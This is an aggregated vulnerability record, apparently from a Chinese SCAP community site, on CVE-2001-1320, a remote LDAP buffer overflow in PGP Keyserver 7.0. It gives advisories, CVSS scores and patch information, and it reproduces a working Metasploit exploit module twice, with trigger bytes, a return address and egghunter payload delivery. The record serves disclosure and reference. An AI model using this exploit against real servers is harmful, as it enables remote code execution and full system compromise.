CVE-2001-1320
CVSS7.5
发布时间 :2001-07-16 00:00:00
修订时间 :2008-09-05 16:26:14
NMCOEPS    

[原文]Network Associates PGP Keyserver 7.0 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via exceptional BER encodings (possibly buffer overflows), as demonstrated by the PROTOS LDAPv3 test suite.


[CNNVD]Network Associates PGP Keyserver缓冲区溢出漏洞(CNNVD-200107-095)

        Network Associates PGP Keyserver 7.0版本存在漏洞。远程攻击者借助特殊BER编码(可能缓冲区溢出)导致服务拒绝(崩溃)并可能执行任意代码,正如PROTOS LDAPv3测试套件。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1320
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1320
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200107-095
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/JPLA-4WESNK
(UNKNOWN)  CONFIRM  http://www.kb.cert.org/vuls/id/JPLA-4WESNK
http://www.kb.cert.org/vuls/id/765256
(UNKNOWN)  CERT-VN  VU#765256
http://www.cert.org/advisories/CA-2001-18.html
(VENDOR_ADVISORY)  CERT  CA-2001-18
http://ciac.llnl.gov/ciac/bulletins/l-116.shtml
(VENDOR_ADVISORY)  CIAC  L-116
http://xforce.iss.net/static/6900.php
(VENDOR_ADVISORY)  XF  pgp-keyserver-ldap-bo(6900)
http://www.securityfocus.com/bid/3046
(VENDOR_ADVISORY)  BID  3046
http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/
(UNKNOWN)  MISC  http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/

- 漏洞信息

Network Associates PGP Keyserver缓冲区溢出漏洞
高危 缓冲区溢出
2001-07-16 00:00:00 2006-09-22 00:00:00
远程  
        Network Associates PGP Keyserver 7.0版本存在漏洞。远程攻击者借助特殊BER编码(可能缓冲区溢出)导致服务拒绝(崩溃)并可能执行任意代码,正如PROTOS LDAPv3测试套件。

- 公告与补丁

        This issue has been resolved in Hotfix 2 for version 7.0 of PGP Keyserver. The Hotfix is available for download at:
        http://www.pgp.com/downloads/default.asp

- 漏洞信息 (16823)

Network Associates PGP KeyServer 7 LDAP Buffer Overflow (EDBID:16823)
windows remote
2010-11-14 Verified
389 metasploit
N/A [点击下载]
##
# $Id: pgp_keyserver7.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Network Associates PGP KeyServer 7 LDAP Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the LDAP service that is
					part of the NAI PGP Enterprise product suite. This module was tested
					against PGP KeyServer v7.0. Due to space restrictions, egghunter is
					used to find our payload - therefore you may wish to adjust WfsDelay.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11039 $',
			'References'     =>
				[
					[ 'CVE', '2001-1320' ],
					[ 'OSVDB', '4742' ],
					[ 'BID', '3046' ],
					[ 'URL', 'http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/' ],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 450,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					["Universal PGPcertd.exe", { 'Ret' => 0x00436b23 }], # push esp; ret PGPcertd.exe - patrick tested ok 2k/xp
				],
			'DisclosureDate' => 'Jul 16 2001',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(389)
			], self.class)
	end

	def exploit
		connect

		# - Maximum payload space is 102 so we use EggHunter instead.
		# - The PAYLOAD is put inside an invalid, rejected (but hunt-able) request.

		hunter	= generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
		egg	= hunter[1]

		eggstart = "\x30\x82\x01\xd9\x02\x01\x01\x60\x82\x01\xd2\x02\x01\x03\x04\x82\x01\xc9" # ldapsearch sniff
		eggend = "\x80\x00"

		print_status("Sending trigger and hunter first...")

		buf = "\x30\xfe\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x02\x0a\x01\x00\x02\x01\x00" # PROTOS suite sniff
		buf << [target['Ret']].pack('V') + hunter[0]
		buf << "\x00"

		sock.put(buf)

		disconnect

		connect

		print_status("Sending hunted payload...")
		sock.put(eggstart+egg+eggend)

		handler
		disconnect
	end

end
		

- 漏洞信息 (F95519)

Network Associates PGP KeyServer 7 LDAP Buffer Overflow (PacketStormID:F95519)
2010-11-05 00:00:00
patrick  metasploit.com
exploit,overflow
CVE-2001-1320
[点击下载]

This Metasploit module exploits a stack overflow in the LDAP service that is part of the NAI PGP Enterprise product suite. This Metasploit module was tested against PGP KeyServer v7.0. Due to space restrictions, egghunter is used to find our payload - therefore you may wish to adjust WfsDelay.

##
# $Id: pgp_keyserver7.rb 10908 2010-11-04 23:50:35Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Network Associates PGP KeyServer 7 LDAP Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in the LDAP service that is
					part of the NAI PGP Enterprise product suite. This module was tested
					against PGP KeyServer v7.0. Due to space restrictions, egghunter is
					used to find our payload - therefore you may wish to adjust WfsDelay.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10908 $',
			'References'     =>
				[
					[ 'CVE', '2001-1320' ],
					[ 'OSVDB', '4742' ],
					[ 'BID', '3046' ],
					[ 'URL', 'http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/' ],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 450,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					["Universal PGPcertd.exe", { 'Ret' => 0x00436b23 }], # push esp; ret PGPcertd.exe - patrick tested ok 2k/xp
				],
			'DisclosureDate' => 'Jul 16 2001',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(389)
			], self.class)
	end

	def exploit
		connect

		# - Maximum payload space is 102 so we use EggHunter instead.
		# - The PAYLOAD is put inside an invalid, rejected (but hunt-able) request.

		hunter	= generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
		egg	= hunter[1]

		eggstart = "\x30\x82\x01\xd9\x02\x01\x01\x60\x82\x01\xd2\x02\x01\x03\x04\x82\x01\xc9" # ldapsearch sniff
		eggend = "\x80\x00"

		print_status("Sending trigger and hunter first...")

		buf = "\x30\xfe\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x02\x0a\x01\x00\x02\x01\x00" # PROTOS suite sniff
		buf << [target['Ret']].pack('V') + hunter[0]
		buf << "\x00"

		sock.put(buf)

		disconnect

		connect

		print_status("Sending hunted payload...")
		sock.put(eggstart+egg+eggend)

		handler
		disconnect
	end

end
    

- 漏洞信息

4742
NAI PGP Keyserver LDAP Overflow
Local Access Required, Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability, Impact Unknown Patch / RCS
Exploit Public Vendor Verified

- 漏洞描述

Several remote overflows exist in the LDAP code of PGP Keyserver. These errors were found when testing with the PROTOS LDAPv3 test suite. PGP Keyserver fails to correctly parse input data in the LDAP code, resulting in buffer overflows. With a specially crafted request, an attacker can cause denial of service conditions, resulting in a loss of availability, and may also be able to cause execution of arbitrary code, resulting in a loss of confidentiality, integrity, and/or availability.

- 时间线

2001-07-16 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Network Associates has released a patch to address this vulnerability. Hotfix 2 for both Solaris and Windows NT should address the issue.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Network Associates PGP Keyserver Buffer Overflow Vulnerabilities
Boundary Condition Error 3046
Yes No
2001-07-16 12:00:00 2009-07-11 06:56:00
The vulnerabilities were discovered using the PROTOS project's LDAPv3 test suite. Test results were published in a CERT Security Advisory on July 16, 2001.

- 受影响的程序版本

Network Associates PGP Keyserver 7.0

- 漏洞讨论

The Lightweight Directory Access Protocol (LDAP) is designed to be a lightweight access protocol for directory services supporting X.500 models. It offers a means of searching, fetching and manipulating directory content.

Several boundary condition errors have been found to exist in the LDAP implementation used by the Network Associates PGP Keyserver. The problem were discovered using the PROTOS project's LDAPv3 test suite. Several test cases provided by the test suite failed, indicating the prescence of buffer overflow vulnerabilities.

At least one of the problems enables a remote attacker to execute arbitrary code with the privileges of the PGP Keyserver. Because the server typically runs with system privileges, this may lead to full system compromise.

Further technical details are not available at this time.

- 漏洞利用

Currently the SecurityFocus staff are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com &lt;mailto:vuldb@securityfocus.com&gt;.

- 解决方案

This issue has been resolved in Hotfix 2 for version 7.0 of PGP Keyserver. The Hotfix is available for download at:

http://www.pgp.com/downloads/default.asp

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站